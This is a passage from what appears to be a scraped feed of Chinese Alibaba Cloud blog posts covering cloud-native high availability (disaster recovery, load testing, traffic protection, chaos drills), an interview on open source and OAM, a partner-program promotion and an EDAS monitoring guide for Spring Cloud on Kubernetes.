      同时,我们收到了社区反馈的很多有价值的issue和建议,非常感谢大家。

      相关链接

      ]]>
      云原生高可用技术体系的构建 Fri, 02 May 2025 09:39:04 +0800 QzpcVXNlcnNc576O5LmfXEFwcERhdGFcUm9hbWluZ1xEaW5nVGFsa1wzODk0MTg4MTBfdjJcSW1hZ2VGaWxlc1wxNTk1MjEzNTY3MzkxXzg3MDA1MjdGLTE0MjItNDVlMy05ODE5LUI5NjVDMjJBODc3Ny5wbmc=.png
      伴随着互联网业务的高速发展,越来越多的线下场景需要转移到线上,而线上业务的量级也在飞速增长,给互联网业务的技术架构带来了严峻的挑战,原来的“一体机+数据库”的方式已经不适用于当前的主流业务,越来越来的业务开始向分布式架构和云原生架构演进。同时,原来单一的技术环境开始走向分布式、分层的多组件技术架构,越来越多的组件使得保障业务稳定运行的工作也越来越艰巨。

      一、容灾

      航空系统的容灾体系做得非常优秀。航空系统的容灾体系从人、飞机和环境三个维度来考虑,才能构建一套优秀的容灾方案。

      从人的维度,以防万分之一的紧急情况出现的可能,每年要进行多次的模拟机训练或者实景演练。一架飞机上都会配备至少两名飞行员,二者相互合作的同时也要相互监督。

      从飞机的维度,每一个航段前,光是一个绕机检查可能就有几十个项目需要检查。机检查是由地面机务人员和飞行机组分别完成,同样也是为了更仔细的检查,降低错误率。每架飞机还有短期全面检查和长期全面检查,飞机上的每一个设备都是独立的双系统在工作。

      从环境的维度,气象雷达可以让飞行员感知到几十甚至几百海里范围内的天气情况。飞机防撞系统可以让飞行导航显示仪上显示正在接近的可能存在威胁的飞机。盲降系统是由地面发射的两束无线电信号实现航向道和下滑道指引,飞机通过机载接收设备,进行降落。

      从航空业的容灾体系构建中我们可以发现,容灾的核心思想是基于隔离的冗余。在系统设计中,其实也经常用到冗余的机制,比如机器经常是多台、数据是多备份等。容灾的评价指标主要有两个:
      一是RPO(Recovery Point Objective),即数据恢复点目标,以时间为单位,即在灾难发生时,系统和数据必须恢复的时间点要求。
      二是RTO(Recovery Time Objective),即恢复时间目标,以时间为单位,即在灾难发生后,信息系统或业务功能从停止到必须恢复的时间要求。RTO标志着系统能够容忍的服务停止的最长时间,系统服务的紧迫性要求越高,RTO的值越小。

      1. 业界主流容灾方案

      如下图所示,业内主流的容灾方案最早是异地冷备的方式,后来演进到同城双活方式,最后发展成为“两地三中心”。
      image.png

      业界主流容灾方案

      2. 阿里AHAS

      阿里AHAS容灾方案使用的是比“两地三中心”更前沿的“异地多活”方案,在所有的数据中心都能提供服务的同时,RPO和RTO能做到分钟级甚至秒级。下图是阿里AHAS的产品形态。AHAS在2013年之后就开始大规模在阿里内部使用,并且作为高可用平台的一个核心模块,开始服务外部客户。AHAS通过异地多活,能够真正做到对于宏观架构的容灾,并抵御大规模的失败场景。比如一个城市的机房出了故障,可以很轻易地把流量实时切换到另外一个机房。
      image.png

      AHAS异地多活的产品形态

      二、容量

      在互联网业务下,流量的不确定性非常明显,经常会出现流量高峰事件,比如微博的热点、阿里的双11、12306的火车票放购等事件。在这种场景下,如何做好容量规划就变得至关重要。

      1. 压测

      传统的压力测试通常关注的是性能的好坏,这是一个相对模糊的概念,不需要很精准。但是在互联网的情况下, 我们需要精准地获取到一个系统的实时吞吐量,以便更好地应对突发事件。在这种情况下,压测要尽可能地模拟一个真实的环境,而不能像以往一样,在一个额外的环境去测试。压测时在流量规模、流量模型、系统环境上都需要一个尽可能真实的环境,这样才能精准做好容量规划。

      传统的压测工具虽然仍在发挥作用,但是随着互联网的发展,已经越来越不能去适应互联网技术的迭代。互联网的压测有几个明显的特点:
      强调流量的真实性;
      压测规模要足够大;
      必须简单易用,交互式压测。

      当下互联网压测已经变成了一个实时的产品,方便进行实时的调控。基于这样的背景,阿里构建了基于PTS的流量引擎,大家可以在阿里云上直接使用,其特点如下:
      流量真实。流量来源于全国上百城市,覆盖各运营商(可拓展至海外),真实模拟最终用户的流量来源,相应的报表、数据更接近用户真实体感;发现端到端更多更全面的问题,压测即是模拟考。
      压测规模强大,可支持3kW QPS。
      简单易用,门槛低。复杂场景的全可视化编排,支持自定义编排能力、指令、控制、函数等相关能力,覆盖95%以上的HTTP压测场景,和JMeter构建能力不相伯仲,同时免去复杂的理解学习成本;除了自身丰富的客户侧监控数据,还可集成云监控和ARMS监控。压测过程提供日志明细查询,配套有请求瀑布模型,压测之后的报告和问题定位更方便。结合AHAS可额外提供流量吞吐控制能力、容量水位管理、熔断降级保护功能。除了强大的自研功能,对于开源JMeter的支持也很友好,支持JMeter脚本转化为PTS压测,同样支持原生JMeter引擎进行压测。

      2. 全链路压测

      在实践中发现,单系统单应用的压测与真实场景之间的误差非常大,因为在压测的时候无法验证整个系统的方方面面,而且很多问题只有在真正的大流量场景下才会暴露,所以要进行全链路压测,其核心是希望未来的事件能够提前到在当前时间内发生,能够用最真实的场景来端对端的验证系统的能力和稳定性。

      为了实现更好地进行全链路压测,阿里云提出了基于PTS的全链路压测解决方案,其架构如下图所示。
      image.png

      基于PTS的全链路压测

      从压测环境、压测基础数据、压测流量(模型、数据)、流量发起和问题定位对基于PTS的全链路压测解决方案总结如下:
      压测环境:对应真实的线上环境,压测结果和问题暴露都是最真实的情况,可通过压测流量全局识别、透传(影子表),或者等比隔离环境,或复用生产库(压测使用测试数据),业务挡板。
      压测基础数据:构造满足大促场景的核心基础相关数据(如买家、卖家、商品信息),以线上数据为数据源,进行采样、过滤和脱敏,保持和线上一个量级。
      压测流量(模型、数据):链路范围、访问量级、参数集合、基础数据的特性一起构造压测的业务模型,和真实业务情况保持一致。
      流量发起:模拟全国各地真实的用户请求访问,探测站点能力。
      问题定位:发起侧多维度的监控和报表,服务端可通过其他生态产品协助定位。

      三、线上防护

      线上防护对于系统高可用来说是一个非常重要的环节。随着分布式技术的应用,节点越来越多,技术越来越复杂,出错的机会也相对增大。同时,在互联网的条件下,业务的发布也越来越频繁。在互联网的环境下,系统随时面临一些不确定事件、流量冲击等,不能奢望每次出现故障的时候都有人工来干预,而是需要系统自身有一定的防护能力,能够让自身在任何环境下都能有最佳的工作状态。

      1. AHAS流量防护

      阿里云将流量防护广泛应用于各种场景,比如双11峰值流量、秒杀活动、物流、订单处理、商品查询、付款等。同时,阿里云也成功地将流量防护能力融合到了云产品AHAS(Application High Availability Service,应用高可用服务)中。AHAS涵盖了阿里巴巴多年来在应用高可用服务领域的技术沉淀,包括架构感知、流量防护、故障演练和功能开关四大独立的功能模块。如下图所示,AHAS构建了一个从入口到最后端的一个完整的防护体系。
      image.png

      AHAS经典流量防护布局

      2. AHAS针对大流量场景的保护措施

      流量防护首先需要考虑的是对大流量场景的保护,比如url、服务提供方、重点业务等,突然出现超乎预期的大流量,基于AHAS可以做如下防护措施:
      (1)如果有性能压测,可以精准设置QPS阈值。有了QPS阈值,可以用来限流,避免出现超负载的流量。
      (2)如果没有性能压测,也可以通过秒级监控,实时设置阈值。
      (3)支持高阶功能:流控模式支持直接、关联、链路,流控方式支持快速失败、Warm UP、排队等待。

      3. AHAS针对不同场景的措施——异常隔离

      在特定未知的场景下,可能出现不稳定的因素,如慢SQL,甚至死锁,导致整个应用越来越慢,甚至整个应用没有响应,这时候要对异常流量进行隔离,以免影响到正常的流量。

      4. AHAS针对不同场景的措施——系统防护

      在某些场景下,比如系统的负载CPU飙升,系统没有反应,无法确认具体哪个接口导致问题的出现,这时AHAS提供了一个终极大招:系统保护。系统保护就是当系统负载比较高的时候,会自动根据入口流量和系统的负载取得一个动态的平衡,保证系统不会恶化的同时,也能处理最大的入口请求。在这种情况下,系统对各种流量都是平等的,无法设置流量的优先级。

      四、演练

      很多故障是一个小概率事件,但是一旦发生,所造成的损失是不可估量的,比如巴黎圣母院的火灾。互联网业务也是一样,小概率的故障也可能带来不可挽回的经济损失,甚至是法律风险。因此,故障演练是一个完备的容灾体系所必需进行的一步。

      1. 企业为什么需要做故障演练?

      如果一个业务系统的流量很小且趋于稳定,就没有必要进行故障演练。但是如果一个企业处于高速发展中,业务发展快,有大量的稳定性技术债,其业务系统不断的变化,甚至今天的形态跟昨天的形态都不一致,架构也日益复杂,那么故障演练就是十分必要且必需的。因为每个环节的不确定因子都是累积的,如果不进行故障演练,最后一旦发生故障,极大可能会对系统造成严重破坏。故障演练还可以培养企业人员的故障处理经验,增强人员的应急能力。

      2. 企业引入故障演练遇到的常见问题

      在企业进行故障演练的时候,经常会遇到一些问题,比如如何设计组织架构,如何选择技术方案,如何落地演练实践等。如果业务牵涉到资金,就要做一个清晰化的深层评估,不要因为演练导致出现资金上的亏损,比如在演练中用到的收费内容(例如短信等)要考虑周全。

      3. 阿里的故障演练方案

      如下图所示,阿里有一套完整的故障演练方案。一开始是通过一些工具或者脚本,在2016年之后才开始将通用的故障模式沉淀为系统。2018年阿里将内部沉淀多年的实践正式在阿里云商用,2019年将沉淀多年的故障注入场景正式开源,成为国内首个混沌工程开源产品。
      image.png

      阿里故障演练历程

      4. AHAS故障演练

      AHAS故障演练的产品架构如下图所示,其定位是一款简单、安全、低成本的故障演练工具,能够帮助用户快速实施演练并发现问题。

      ]]>
      我们找阿里云资深技术专家李响聊了聊开源和云原生 Fri, 02 May 2025 09:39:04 +0800 李响是 CoreOS 最早期的工程师之一,参与创建了 etcd、operator framework、rkt 等开源项目。而在开源社区中,李响作为 etcd 作者被开发者所熟知,etcd 是国际知名且被最为广泛使用的分布式一致性存储系统,被阿里巴巴、腾讯、华为、腾讯、微软、谷歌、VMWare 等企业在生产环境和客户产品中使用,用来解决分布式系统中重要元信息存储、管理和备份的问题,以及分布式系统组件一致性协调的问题。

      在加入阿里云后,李响一直在推动云原生领域自动化运维相关理念、Operator概念、OAM 标准的建立。Operator 给予开发和运维人员在云原生平台构建无状态和复杂应用运维的理论标准和实践基础,大幅度提高了云原生运维平台的覆盖度,在开源生态中涌现出了超过500个 Operator 具体实现,覆盖了几乎所有的主流云原生软件的运维,其中包含 RocketMQ、Kafka、ZooKeeper、Consul、Argo、Kubeflow等。这些理念深度影响了云原生领域的发展。

      对于国内外开源的进展以及云原生实践的发展,我们找李响聊了聊他的看法。

      一、开源,从“使用”到“融入”

      开源在近些年的热度一直居高不下。所谓“开源”(Open Source),就是将软件的源代码公开,允许所社区成员对其进行修正、改进和创新,并将其成果与社区内的所有成员共享。除了开发者以个人的身份参与开源之外,企业也在加大力度参与开源软件的研发。

      李响提到,开源的融入应该是一个循环:使用 - 发现问题/做了新功能 - 提交代码给项目 - 更多人用。

      目前国内开源的发展更多停留在使用阶段,在合适的场景使用开源技术来解决一些业务问题。一个比较好的趋势是,国内对于开源技术的认可度逐渐提高,参与开源的企业和开发者也逐年增加。阿里巴巴也在积极推动一些先进的开源理念的落地,比如云原生。李响提到,当一些思想前卫的开发者愿意花时间与精力去实践云原生,并不断与国外的技术思想去碰撞,那么我们就能够对云原生社区的发展产生一些影响力,进而去引领云原生技术的发展方向。“其实中国的开发者完全有能力参与到开源项目的进程中,并且去影响开源项目。”

      还有一种趋势是,国内一些基于开源技术去构建技术体系的厂商越来越多。这些厂商不单单是像以前一样售卖开源技术,而是自己构建或者尝试去构建开源生态,并在国内或国外去推广。以前在OpenStack刚出来的时候,有很多厂商基于OpenStack这项技术进行包装、集成、售卖。国内一些to B的厂商也采用了相似的思路,比如发展较好的PingCAP。此外,一些初创公司开始去打造开源的技术和推广开源技术,这也是国内对于开源态度的一个转变。

      当然,国内开源的发展还有一些需要提升的地方。李响提到,一方面,国内的开发者应该更积极地参与到整个开源社区的建设中,不仅仅是技术建设,有时候思想碰撞也很重要。我们要做的不仅是给开源项目提一些短期的问题,或者帮助开源项目修复Bug,而是要为更长线的工作做准备。只有融入到社区中,才能给到社区更具体明确的需求,帮助开源社区的发展,甚至影响开源社区的未来方向。

      对于参与开源的企业而言,不论是创业公司,还是云厂商,能够从0到1去做一些开源项目,并尝试去做一些创新性的、先进性的项目,把国内在开源社区和先进生产力上的影响力发扬光大,甚至去打造一些国际知名的开源品牌,才能真正融入到开源的发展进程中。

      当然,开源的世界里也有一套自己的玩法。

      二、关于开源治理

      前段时间,谷歌将Istio项目商标的所有权正式移交至Open Usage Commons(OUC)。接受Istio后,OUC将与项目指导委员会共同制定商标使用指南,方便社区统一使用Istio项目商标。此举引发了业界激烈的讨论,作为CNCF TOC,李响谈了谈他对这一事件的理解。

      开源可以从三个部分来理解,第一部分是代码的开放,就是让大家可以看到并且修改代码。这是任何一家公司开源项目要做的最基础的事情。第二部分是开源工作中涉及的品牌和专利,把这部分工作开放,让品牌从属于一个中立的组织,这样其他厂商或者用户使用的时候,不会受到专利的限制,也没有品牌的担忧。

      第三部分是治理模型的开放,治理模型的开放意味着每一个项目都有一个治理组织,对开源项目做出一定贡献或者达到某种标准,就被允许加入到治理组织中,对开源项目的未来发展拥有一定的话语权和决策权。举个例子,阿里巴巴今天开源了一个项目X,最开始参与投票的5个人都来自于阿里巴巴,假设有一天阿里巴巴的贡献减少了,B公司的贡献增加了,那么B公司就有权利去推动这个开源项目的治理,进而控制它的走向。比如Redis项目近期放弃之前的专制管理模式,转而采用新的“社区自治模式”。这意味着 Redis 项目的未来命运将由整个社区决定,而不再单纯掌握在 Sanfilippo(Redis之父) 一个人手中。

      谷歌把品牌和专利移交给OUC,让品牌从属于一个中立的组织,就意味着在开放代码的基础之上,将代码相关的品牌和专利变成中立了,这样每一个参与项目的人都可以来使用Istio的品牌,人人平等。

      从开源项目的使用者来看,我们肯定希望开源的项目可以做到上面所说的三部分(代码、品牌、治理模型)都能够开放,从长期来看,这是对用户最有利的局面,这样开源项目就可以按照社区的需求导向来发展,而不是按照参与的某一家公司的意向来发展。

      但是谷歌并没有把治理模型开放出来,一是因为Istio项目还处于发展早期阶段,如果开放治理模型,会导致很多人参与到Istio早期进程中,分裂的话语权对于一个早期尚不成熟的项目而言是不利的。从商业化的角度来看,如果谷歌拥有对于开源项目的治理权利,那么,对于该项目的未来走向是有一定的把控能力,这对于谷歌未来布局产品线有一定的先发优势,这也是谷歌没有开放治理模型的一层考虑。

      Istio 之所以成为“香饽饽”,因为它是目前 Service Mesh 社区最引人注目的开源项目,而 Service Mesh 也是当下云原生领域最被看好的发展趋势。

      三,云原生:企业的顾虑与不可抵挡的行业趋势

      近年来,云原生的理念越来越受到业界的重视,李响作为云原生领域的创新者,也在推动国内云原生的技术布道,包括深度参与阿里云原生架构白皮书的撰写、参与设计云原生实践课程等。云原生理念对于国内企业而言,还处于一个早期发展的阶段,无论是技术、产品、标准等,都还处于快速迭代的过程中。企业在应用云原生的技术和产品时,难免有所顾虑。

      Q:国内外云原生的发展,有多大的差距?
      李响:总体来看,国内外云原生技术理念的发展没有太大的差距。但是由于云原生理念的兴起是在北美,所以社区生态的发展中心还是在硅谷这里,一些新的技术理念或者架构应用、创新场景等,也是需要一些时间才能慢慢引入到国内。

      区别比较大的是国内企业跟国外企业对于云计算的接受度。我们提到云,最先想到的一定是节约资源、弹性、成本降低、技术红利这些大家关心的点。北美企业的人力成本普遍较高,所以他们会愿意为云上的软件服务付费,尽可能节约人力成本。国内很多企业不缺少研发人员,整体研发能力也很强,在云服务提供附加值有限的情况下很多企业会自己研发一些定制化的能力。

      阿里是国内较早开始践行云原生理念的公司之一,通过在内部实践成熟之后,开始对外影响更多的企业。我们非常看重如何通过云原生为企业带来更多的附加值,并且这个附加值一定要超过企业自己定制开发带来的价值,只有这样,企业才会愿意拥抱云原生。未来阿里也会研发出一些更有竞争力的产品,提供更具价值的服务,并去影响海外的用户,让国内的云原生发展与国际接轨。

      Q:云上的服务未来会以什么样的形态存在?
      李响:未来的云一定不是资源,对于云厂商而言,重心不是售卖这些基础的资源,而是在云上建立一个服务体系和生态,让企业更便捷和方便的使用云上的服务。随着云服务规模化的发展,一个云服务可以交付给很多用户,由于边际效应,每个云服务的成本会大幅降低,对于企业而言更划算。但这对于阿里云而言也提出了一个挑战,如何把云服务更好地规模化,让每个服务更精细也更通用化,进而帮助企业解决更多常见的问题。

      Q:选用云原生技术时,企业对云原生技术栈进行大规模应用时的安全性、可靠性、性能、连续性存在疑虑。这个问题如何解决?
      李响:对于云原生有顾虑其实可以理解,毕竟云原生还处于早期发展的阶段。阿里云在帮助国内企业了解云原生、使用云原生上做了很多工作。对于云原生技术栈的可靠性、性能、连续性这方面的顾虑,我们从两个方面来解决,一方面是在内部尝试去使用这些技术,阿里巴巴内部有非常丰富的、大规模的使用场景,通过这些场景可以打磨云原生技术。在技术成熟以后,我们将这些技术回馈到社区,帮助云原生社区提高技术质量和发展水平。

      另一方面,阿里云上提供了丰富的云原生产品服务、云原生产品家族。以前一家企业想使用云原生的技术或产品,需要花费大量的精力研究一些开源项目,自己做运维和管理,还需要考虑集成、稳定性保障等问题,这样才能建立一个云原生平台。今天,为了方便企业和开发者更容易地使用云原生的技术和产品,更好地接受云原生的理念,并解决企业担忧的可靠性、性能、连续性等问题,阿里云大家了一整套云原生产品家族,提供了非常强的SLA保障。

      另外,关于云原生的安全性问题,2019 年,阿里云安全沙箱技术商用上线,支持 ECI、ACK、SAE 边缘计算等多种业务。蚂蚁金服也收购Hyper ,共同打造安全可靠的容器运行环境。阿里云安全沙箱是基于 MicroVM 构建的安全容器 Runtime。首先它是一个基于硬件虚拟化技术的 MicroVM,采用了深度定制优化 hypervisor,极简的虚拟机设备模型。其次阿里云安全沙箱也是一个容器 Runtime,提供镜像分发、镜像管理、容器网络、容器存储,完全兼容 OCI 和 CRI 规范。此外基于软硬一体设计的机密计算容器开始展露头角,阿里云和蚂蚁团队共同推出了面向机密计算场景的开源容器运行时技术栈inclavare-containers 。它基于Intel SGX等机密计算技术,支持蚂蚁的Occlum,开源社区的Graphene Libary OS,极大降低了机密计算应用的开发、交付和管理。

      Q:越来越多的厂商开始探索OAM落地实践,OAM有什么魅力?
      李响:OAM(开放应用模型)是一套由阿里云和微软共同发起、由云原生社区共同维护的应用描述规范(spec)。OAM 的核心理念是:“以应用为中心”,它强调研发和运维围绕着一组声明式的、灵活可扩展的上层抽象进行协作,而不是直接去使用复杂晦涩的基础设施层 API。

      在 OAM 规范下,研发和运维的关注点是完全分离开的。研发与运维只需要编写非常少量的、跟自己相关的一些字段,而不是完整的 K8s Deployment 和 HPA 对象,就可以轻松的定义和发布应用。这就是“上层抽象”为我们带来的好处。

      目前,阿里云 EDAS 服务已经成为了业界第一款基于 OAM 构建的生产级应用管理平台,并很快推出下一代“以应用为中心”的产品体验;在 CNCF 社区,知名的跨云应用管理与交付平台 Crossplane 项目也已经成为了 OAM 规范的重要采纳者和维护者。

      实际上,不止 AWS Fargate,我们云计算生态里的所有 Serverless 服务都可以很容易的使用 OAM 来作为面向开发者的表现层和应用定义,从而实现对原本复杂的基础设施 API 进行简化和抽象,将原本复杂的流程化操作“一键”升级为 Kubernetes 风格的声明式应用管理方式。

      更重要的是,得益于 OAM 的高可扩展性,你不仅可以在 Fargate 上部署容器应用,你还可以用 OAM 来描述 Function,虚拟机,WebAssembly 乃至任何你能想到的工作负载类型,然后把它们轻松的部署在 Serverless 服务上,甚至在不同的云服务之间无缝迁移。

      Q:未来,云原生会如何发展?
      李响:我们一直希望云原生产品生态可以做到标准和开放。不同厂商之间的服务、基础设施等,都可以实现互通。用户开发的应用可以运行在阿里云容器之上,也可以运行在其他厂商的容器之上,应用所依赖的东西本质上都可以是一些开放的接口。这其实一直是阿里云在努力的方向,从云原生的发展角度,我们也在尽量做到标准开放,并且跟社区生态比较好的进行融合,从而减少用户的担忧。

      阿里在云原生领域比较关注4个方面的发展:

      一是对于Kubernetes和Containerd的贡献。阿里在内部进行了大规模的实践,在性能、规模性、效率上与上游进行共建。从整个生态来看,阿里是最早开始布局云原生的厂商之一,也在尝试扩大云原生覆盖的范围,做边界的拓展,阿里云推出开源项目 OpenYurt,一方面是把阿里云在云原生边缘计算领域的经验回馈给开源社区,另一方面也希望加速云计算向边缘延伸的进程,并和社区共同探讨未来云原生边缘计算架构的统一标准。

      二是在微服务体系中,阿里有比较深厚的积累,同时也做了很多开源方面的工作。通过一些开源项目,比如Dubbo、Nacos等,把阿里微服务体系中的经验和实践向外输出。另外,阿里也在把微服务体系、开源体系的技术与云进行整合,这样使用云的客户就能更方面地直接使用开源的产品。

      三是推进微服务体系向下一代去演进,尤其在云原生领域,大家比较看好Service Mesh 的发展,阿里也在推动微服务体系与Service Mesh 融合,实现更好的兼容性和互通性,进而提高Service Mesh 整个生态的活跃度和成熟度。同时,我们也在一些开源项目和云产品变得更加云原生化或者说更加适合云的应用场景,比如消息系统 RocketMQ,我们正在提高RocketMQ开源软件自身的弹性和进行 Serverless 化,从而降低使用成本,并且在云上更容易部署。

      四是尝试一些创新的、先进性的云原生探索,比如OAM开放应用模型的 Kubernetes 标准实现 Crossplane 项目,在同 OAM 社区进行深度合作之后,今天的 Crossplane 是一个面向混合云场景的应用与云服务管理控制平面,它致力于基于 K8s 声明式 API,遵循开放应用模型标准对应用进行管理与交付,并通过独有的机制对云服务以云平台无关的、最终用户友好的方式进行抽象与管理。Crossplane 项目进入 CNCF Sandbox 也意味着,从今天开始 OAM Kubernetes 标准实现的所有代码、文档和整个 Crossplane 项目本身的所有权,都将转交给 CNCF 社区进行托管,与该项目背后的任何商业公司(无论是阿里云还是微软云)完成解耦。

      ]]>
      是他们,让云原生落地千万家企业! Fri, 02 May 2025 09:39:04 +0800 1999年,「伯俊」正式成立,从成立之初就一直致力于零售相关的IT服务,并在零售行业有很深的积累,是规模最大、客户最多、口碑最好、技术最强的信息化建设服务商之一。2017年,伯俊软件与阿里云全线展开深度合作,并提出了“All in 阿里云”的发展战略,与阿里云合作研发了8款联合解决方案,助力数千家零售企业以更低成本向数字化方向推进。其中,伯俊软件已成功交付的20多家企业级互联网中台客户,100%基于阿里云。

      伯俊软件为百丽国际打造的数字化营销解决方案,正是基于与阿里云合作开发的CDP数字化营销解决方案,可满足零售企业在顾客运营全链路覆盖、多渠道消费者数字信息的高效的OneID解决方案、自动化的精准营销活动等方面的需求,以支持企业在不断变化的市场需求中,进行数字化、精准化的营销。目前,该项目一期已经上线,百丽国际旗下滔搏运动已开始运作CDP并获得了显著成效。

      在这些项目中,不是阿里云签了合同然后再分给合作伙伴,而是阿里云找到合作伙伴联合研发产品,并一起向市场推出产品,这种合作思路给予了合作伙伴更大的空间。

      「创云」一直以“帮助企业在云端创造更大价值”为使命,专注于公有云应用服务与互联网安全咨询领域,是华南地区第一家百分百专注在公有云场景的互联网综合解决方案服务商。累计服务覆盖企业客户过万家,年公有云销售业绩数亿元,是阿里云战略级(最高级别)分销伙伴,也是云原生的核心伙伴。

      创云设立了云原生专员,并荣获2020卓越云原生专员称号。在过去一年里,创云的销售和技术团队,共同见证了阿里云原生给企业带来的技术红利。面对中秋、国庆电商大促场景,创云很多电商公司客户,通过阿里云AHAS应用高可用服务、PTS性能压测服务,在创云技术团队的支持下,有效应对流量突增场景下的系统的正常运行,保证业务稳定。

      011_副本.jpg

      在云原生技术浪潮之下,阿里云原生合作伙伴计划在技术先进性和产品定位上做了重大升级,从中间件技术向云原生技术的转变,从中间件驱动的阿里多年双11技术实践到云原生技术驱动2019年阿里集团核心系统100%上云,这充分证明了阿里云原生技术、产品体系的成熟。阿里云也希望通过云原生普惠的技术和产品帮助合作伙伴释放技术生产力。除了阿里中间件产品外,本次“阿里云原生合作伙伴计划”也覆盖了容器、微服务、Serverless、函数计算等众多产品。

      上述两家伙伴,只是众多云原生优秀伙伴中的杰出代表,是我们众多客户成功故事背后一家家默默服务的伙伴,他们才是真正的云原生市场领舞者,如下面一张张照片,记录下中国云原生起航时代的生动画面和花样年华。

      为此,阿里云对过去一年云原生优秀合作伙伴企业和个人进行了颁奖,表彰他们在助力企业数字化转型和全面拥抱云计算过程中做出的贡献,同时,也激励更多的合作伙伴加入其中。

      image.png

      在阿里云“做强生态”的战略指引下,以产品和解决方案“被集成”为核心,以帮助合作伙伴自身核心竞争力的成长为目标,阿里云原生合作伙伴计划从原来分销伙伴转变为解决方案伙伴,通过云原生技术和产品帮助伙伴的产品和解决方案技术换代,架构升级,让伙伴更加聚焦于自身业务优势,更好的发挥“长板效应”。
      点击链接:阿里云生态合作伙伴,了解更多阿里云生态合作伙伴信息和申请流程。

      ]]>
      SpringCloud 应用在 Kubernetes 上的最佳实践 -- 线上发布(可监控) Fri, 02 May 2025 09:39:04 +0800 文:骐羽

      前言

      在应用发布上线的时候我们最担心的莫过于因为代码的bug引发业务的问题,虽然我们可以通过灰度的方式分批发布减小影响范围,但是如果能够在发布的过程中从实时监控中快速的发现问题进行回滚,那么就能缩短业务受影响的时间。因此我们可以看到灰度、监控、回滚是整个发布过程中不可或缺的三大利器,有了这三大利器后,我们能够做到随时发布,从而加快业务的迭代和上线速度。而监控作为基础设施的一个重要环节,是保障生产环境服务稳定不可或缺的一部分,目前EDAS提供了非常丰富的监控能力,下面我们从不同的场景来详细介绍一下这些监控能力。

      体系化监控能力搭建

      监控体系,最怕的就是有覆盖不到的地方,一个覆盖全面的监控应该是从基础设施到上层应用均有对应的手段去覆盖:

      • 首先,如果故障产生时,最先感知到的其实是业务的受损,如交易量下跌、登陆的 UV 下跌等等。
      • 而如果继续往下钻,如果业务集群很大的时候,我们最先需要定位到某一个服务或者某一台机器,这个过程如果没有相应的工具相佐犹如大海捞针,所以一个分布式链路级别的应用监控会是建设 Spring Cloud 应用的很好的配搭。
      • 等到我们找到了相应的服务要开始进行定位分析的时候,根据问题类型(是错是慢?)接下来需要开始分析 JVM、内存、CPU 等维度的指标。
      • 最后我们可能会发现这个问题是由于业务代码引起,也有可能由于基础设施引起,而在 K8S 中,Prometheus 目前是属于容器领域基础监控最厉害的军刀。

      1.png

      如上图所示,目前 EDAS 结合阿里云上的某些云产品,完全能够满足日常的运维的需要并帮忙业务开发的同学快速的定位线上问题。

      EDAS常规监控能力

      系统监控

      应用实例的基础监控信息:

      上图功能提供了以应用实例的维度来查看每个实例的监控信息,提供的JVM/CPU/Load/内存等的监控信息也是我们经常需要关注的,当发现内存占用高,并且有频繁的FullGCC的情况时,我们可以通过创建内存快照进行分析来快速定位问题。SQL分析的能力也能快速帮助我们定位到慢查询用来排查问题。

      应用服务监控

      应用服务接口监控信息:

      2.png

      这里提供了以接口维度的监控信息,可以详细的看到接口在最近一段时间的请求信息,这里重点介绍一下接口快照功能,通过接口快照我们可以看到该接口的请求耗时,以及请求的TraceId,根据这个TraceId我们可以详细的看到本次请求的调用链以及调用的方法栈。

      3.png
      这里提供了以接口维度的监控信息,可以详细的看到接口在最近一段时间的请求信息,这里重点介绍一下接口快照功能,通过接口快照我们可以看到该接口的请求耗时,以及请求的TraceId,根据这个TraceId我们可以详细的看到本次请求的调用链以及调用的方法栈。
      4.png

      5.png

      调用链路的追踪在分布式系统下是一个必不可少的工具,尤其是在排查上下游依赖中究竟是哪个系统拖慢了整个请求非常有用,在调用的方法栈中可以直观的追踪到调用出错的地方。

      应用业务监控

      在EDAS中我们支持应用自定义业务监控,这需要我们开启高级监控的能力。从业务的视角来衡量应用的性能和稳定性,可以通过自定义来采集业务信息,来实时展现业务指标,帮助业务进一步完善监控信息。详细的监控配置可以参考ARMS业务监控

      Prometheus监控

      监控产品的历史由来已久,但是随着云原生技术的持续火热,Prometheus 作为新生代的开源监控系统,慢慢成为了云原生体系的事实标准。而在EDAS中的高级监控产品ARMS已经全面对接开源Prometheus生态,支持类型丰富的组件监控,提供多种开箱即用的预置监控大盘,且提供全面托管的Prometheus服务,更多的详细内容可以参考ARMS Prometheus

      通过以上这些监控能力,可以大大缩短线上问题从发现到定位再到解决的时间,提高开发和运维人员排查和解决问题的效率。

      EDAS应用发布场景中的监控

      以阿里巴巴集团的经验举例子,超一半以上的大故障都是在发布过程中产生,EDAS 针对发布这一场景结合 Kubernetes 的能力做了结合,其中的精髓内容总结三个词:先发再看再发。通俗的解释就是可以利用 EDAS 中分批(灰度)发布能力,同时在发布视图中,确保相关的指标回归正常之后,再开始下一批发布了。

      目前EDAS能够提供在三个维度上的指标监控数据,用来判断发布是否正常,列举如下:

      应用业务指标

      目前EDAS以接口的维度提供了每个接口在发布前后的总的请求数对比以及请求该比例的图例,并且还能够详细的看到在发布前后该接口的错误数、响应时间以及单机的请求数对比,如下图所示:

      6.png

      通过上图,我们可以直观的看到,当我们发布后应用的接口请求是否正常,以此来判断是否会对业务产生影响。

      应用异常

      在发布的过程中,我们也需要时刻的关注在发布中是不是有新的异常产生,我们想要有地方能够看到异常信息,避免直接登录到机器上去看业务日志,我们的发布监控提供了日志聚合分析的能力,可以在发布的过程提供实时的异常日志分析展示,如下图所以:

      7.png

      系统指标

      在新的业务功能上线的时候,我们除了对业务本身的一些异常和指标进行关注外,还需要关注系统的指标,这关系到我们需要评估现有的机器是否能够支撑我们的所有流量,是否需要进行水平扩容来更好的支持业务,我们的发布监控系统同样集成了系统的监控的能力,为我们的发布过程来保驾护航,详细的监控如下图所示:

      8.png

      以上内容我们通过三个维度为大家展示了在整个发布的过程中EDAS为我们提供的完备的监控能力,通过这个能力可以让我们的每一次发布都能做到不慌不忙,心中有数,每一次发布都能平滑让业务进行升级。同时我们也提供了查看发布报告的功能,将发布监控信息形成了一份清晰的可视化分析报告供分享他人。

      后续及结语

      本章我们介绍了EDAS中提供的监控能力以及如何对EDAS Kubernetes集群上的Spring Cloud应用在发布的过程中如何看监控发现异常信息,但是如果出现异常了该怎么办呢?接下来的文章我们将继续介绍,当出现问题后我们如何对已经发布的应用进行快速的回滚。

      ]]>
      Timing App的Serverless实践案例 Fri, 02 May 2025 09:39:04 +0800 1、背景和挑战:

